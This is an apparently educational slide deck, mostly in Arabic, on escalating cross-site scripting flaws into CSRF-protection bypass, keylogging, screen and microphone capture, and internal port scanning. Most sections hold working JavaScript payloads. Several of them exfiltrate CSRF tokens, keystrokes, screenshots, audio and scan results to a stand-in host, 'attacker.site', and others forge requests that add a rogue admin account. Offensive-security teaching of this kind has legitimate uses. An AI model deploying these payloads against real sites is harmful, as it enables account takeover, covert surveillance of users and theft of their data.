

# The art of XSS Escalation

**Mohammed Muteb (a.k.a. u0pattern)**  
<https://muteb.io/>

1.

# Session riding

Escalate XSS To CSRF Attacks

- What is Session Riding ?
- CSRF Protections
  - CSRF Synchronizer Token Pattern
  - CORS Validation via 'origin' HTTP Header
  - Referer Validation via 'referer' HTTP Header
  - XHR Validation
- Bypass CSRF Protections

# What is Session Riding ?

- ثغرة CSRF Attack هي ثغرة تتيح لAttacker إرسال malicious link للضحية ليقوم بأنشطة غير مرغوب فيها من victim ولم تكن مصرح القيام بها من قبل Attacker

- ... مثال: اجبار victim بإضافة malicious admin user بدون علم victim فور زيارته malicious link قام بإرساله Attacker

# CSRF Protections

# CSRF Protections

## CSRF Synchronizer Token Pattern

حماية تعتمد على إنتاج unique tokens ذات وقت محدد ومرتبطة مع Authenticated user-session يقوم back-end بالتحقق من صلاحيتها دائما للتأكد ان requests لم يتم ارسالها من 3rd-parties

## CORS Validation

هذه الحماية تتواجد عند استخدام JS AJAX عن طريق XHR أو Fetch API وتفعيل CORS Mode مما يجعل كل HTTP Requests تتضمن HTTP Header اسمه Origin قيمته هي Hostname الذي أتى منه HTTP Request وبهذه الطريقة يتحقق المبرمج من قيمة Origin HTTP Header بأنها Hostname الخاص به وليس 3rd-parties تحاول إستغلال CSRF Attacks

# CSRF Protections

## Referer Validation

يقوم Referer HTTP Header بتزويد المبرمج web page الذي أتى منه الزائر وعن طريق هذا الشيء يقوم المبرمج بالتحقق ما إذا كان HTTP Request أتى من website الخاص به او 3rd-party webpages ليمنع إستغلال CSRF Attacks

## XHR Validation

هذه الحماية تتواجد عند استخدام JS XHR مما يجعل كل HTTP Requests تتضمن HTTP Header اسمه X-Requested-With قيمته هي XMLHttpRequest لكن يمتاز هذا الهيدر بأنه لا يتم إسناده ضمن HTTP Request Headers إلا في حال تم إرسال HTTP Request من نفس website الخاص به وليس 3rd-parties تحاول إستغلال CSRF Attacks

# فكرة عامه عن SOP/CORS

في البداية كفكرة عامه وسريعة SOP هو عبارة عن حماية في المتصفحات تمنع من قراءة HTTP Response في حال عدم تطابق Rules ألا وهي تطابق Port و Hostname و URI Scheme ووظيفة CORS هي السماح في حال عدم تطابق Rules و CORS في AJAX يقوم بإضافة HTTP Header بإسم Origin وقيمته هي Website الذي أتى منه .HTTP Request



# Bypass CSRF Protections

مع XSS سوف نتخطى جميع ما سبق وتم ذكره

# Bypass CSRF Synchronizer Token Pattern

في بداية الأمر تتواجد Tokens غالبا في HTML Input Elements وهذا مايجعلنا نعتمد على `getElementsByName()` method لإستخراج CSRF Token وتخطي هذه  
-: CSRF Protection

```
<script>
var csrfInputNames = ['_token', '_nonce', 'csrf_token'];
for (var i = 0; i < csrfInputNames.length; i++) {
  if(document.getElementsByName(csrfInputNames[i])[0] != undefined){
    csrf_token = document.getElementsByName(csrfInputNames[i])[0].value;
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4) {
        fetch('http://attacker.site/victimResponse?body='+this.responseText);
      }
    };
    xhttp.open("GET", "admin/addUser?username=attacker011&password=pass1234&token="+csrf_token, true);
    xhttp.withCredentials = true; // to enable cookies-based requests
    xhttp.send();
  }
}
</script>
```

# Bypass CORS/XHR Validation

هذا أسهل أنواع التخفي لأنك في واقع الأمر تحتاج فقط ترسل HTTP Request عادي مع اضافة القيمة true إلى XHR withCredentials property وإرسال malicious link و اضافة injected js code لتخفي هذه CSRF Protection بسبب ان تلقائيا سوف يتم اضافة victim's website إلى HTTP Header و X-Requested- origin و -XMLHttpRequest With: إلى HTTP Request Headers:-

```
<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "admin/addUser?username=attacker011&password=pass1234", true);
xhttp.withCredentials = true; // to enable cookies-based requests
xhttp.send();
</script>
```

# Bypass Referer Validation

هنا لانحتاج إلى AJAX لتخطيها بل يكفي HTML Code و auto-submit لتقليص user interactions وحقنها في المكان المصاب بثغرة XSS وسيقوم تلقائيا بإرسال HTTP Request مضاف إليه victim's website في Referer HTTP Header ليتخطى لنا هذه CSRF Protection :-

```
<form id="myForm" action="/admin/addUser" method="GET">
  <input type="hidden" name="username" value="attacker83">
  <input type="hidden" name="password" value="pass123">
  <input type="button">
</form>

<script>
document.getElementById("myForm").submit(); // auto-submit
</script>
```

**2.**

# **Abuse I/O**

Keylogger, Screenshot, Audio

- Keylogger
- Screenshot
- Audio recorder

# Keylogger

أولا نستطيع تعريف Keylogger بأنه يقوم برصد أي ضغطة على الكيبورد وصنع keylogger ممكن في javascript حيث أنه سيرصد أي ضغطه على أي حرف ويرسلها إلى Attacker ونستطيع حقن هذا الكود في مكان إصابة XSS لرصد أي ضغطه يقوم بها الضحية في الكيبورد

```
<script>
var keys = '';
document.onkeypress = function(e) {
  get = window.event ? event : e;
  key = get.keyCode ? get.keyCode : get.charCode;
  key = String.fromCharCode(key);
  keys += key;
}
window.setInterval(function() {
  if (keys != '') {
    new Image().src = 'http://attacker.site/?keys='+encodeURIComponent(keys);
    keys = '';
  }
}, 500);
</script>
```

# Screenshot

تقوم مكتبة html2canvas بعمل screenshot لكامل الصفحة او جزء منها ونستطيع استخدام هذه المكتبة لنقوم بعمل screenshot لصفحة الضحية وارسال الصورة إلى Attacker عن طريق حقن هذا الكود في مكان ثغرة XSS المصابة :-



```
<script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/0.4.1/html2canvas.min.js"></script>
<script>
function x(){
    html2canvas(document.querySelector("body"),{
        onrendered: function(canvas){
            new Image().src = 'http://attacker.site/?blobUrl='+canvas.toDataURL();
        },
    });
}
</script>
<input id="btn" type="hidden" onclick="x()"/><script>document.getElementById('btn').click();</script>
```



# Audio recorder

توفر MediaStream Recording API المقدمة من قوقل كروم واجهة

MediaRecorder لتسجيل الصوت والصورة ويستطيع Attacker استخدام هذا

للتنصت على لضحية وارسال الصوت إلى Attacker عن طريق حقن هذا الكود في مكان ثغرة XSS المصابة :-

```
<script>
navigator.mediaDevices.getUserMedia({audio:true}).then(stream => {
  var audioChunks = [];
  rec = new MediaRecorder(stream);
  rec.ondataavailable = e => {
    audioChunks.push(e.data);
    if (rec.state == "inactive"){
      let blob = new Blob(audioChunks,{type:'audio/x-mpeg-3'});
      recordedAudio.src = URL.createObjectURL(blob);
      var reader = new FileReader();
      reader.readAsDataURL(blob);
      reader.onloadend = function() {
        new Image().src = 'http://attacker.site/?blobUrl='+reader.result;
      }
    }
  }
  rec.start();
}).catch(e=>console.log(e));
</script>
```

# 3.

# Network & CORS

HTTP-based Port scanning, CORS Attack, DNS Rebinding

# HTTP-based Port scanning

توفر Fetch API طريقة لتنفيذ HTTP-based Port scanning وتفيد هذه الطريقة من التحقق من وجود web services داخلية للضحية ممكن إستغلالها عن طريق حقن هذا الكود في مكان ثغرة XSS المصابة :-

```
<script>
var ports = ['1234','80','3462']; // ports to scan
var host = 'localhost';
for (var i = 0; i < ports.length; i++) {
  fetch('http://'+host+':'+ports[i], {mode: 'no-cors'}).then(r=>{
    new Image().src = 'http://attacker.site/?localNetworkWithPort=http://'+host+':'+ports[i];
  }).catch(e=>{
    console.log('this host is not there');
  });
}
</script>
```

# CORS Attack

كما تم التوضيح سابقا عن SOP/CORS وقواعدها لكن في XSS تتكسر هذه القوانين وتصبح قادرا على قراءة Response Body بدون الحاجة لتصريح من CORS وتستطيع من هذا الهجوم سرقة المعلومات الحساسة للضحية وإرسالها مباشرة للAttacker

# DNS Rebinding

هجوم DNS Rebinding عبارة عن تغيير DNS الخاص ب malicious domain إلى أحد الأجهزة الداخلية في شبكتك مثل أجهزة IoT لخداع Same-origin policy في المتصفحات بسبب تخليها عن حمايتك من هذه الهجمات لأنها مسؤولة Firewall

# مصادر :-

[https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\\_policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)

<https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS>

<https://fetch.spec.whatwg.org/>

<https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest>

<https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin>

<https://tools.ietf.org/html/rfc6454>

<https://crypto.stanford.edu/dns/dns-rebinding.pdf>

<https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer>

<https://cwe.mitre.org/data/definitions/352.html>

[https://cheatsheetseries.owasp.org/cheatsheets/Cross-](https://cheatsheetseries.owasp.org/cheatsheets/Cross-<br/>Site_Request_Forgery_Prevention_Cheat_Sheet.html#synchronizer-token-<br/>pattern)

[Site\\_Request\\_Forgery\\_Prevention\\_Cheat\\_Sheet.html#synchronizer-token-  
pattern](https://cheatsheetseries.owasp.org/cheatsheets/Cross-<br/>Site_Request_Forgery_Prevention_Cheat_Sheet.html#synchronizer-token-<br/>pattern)



**Thanks!**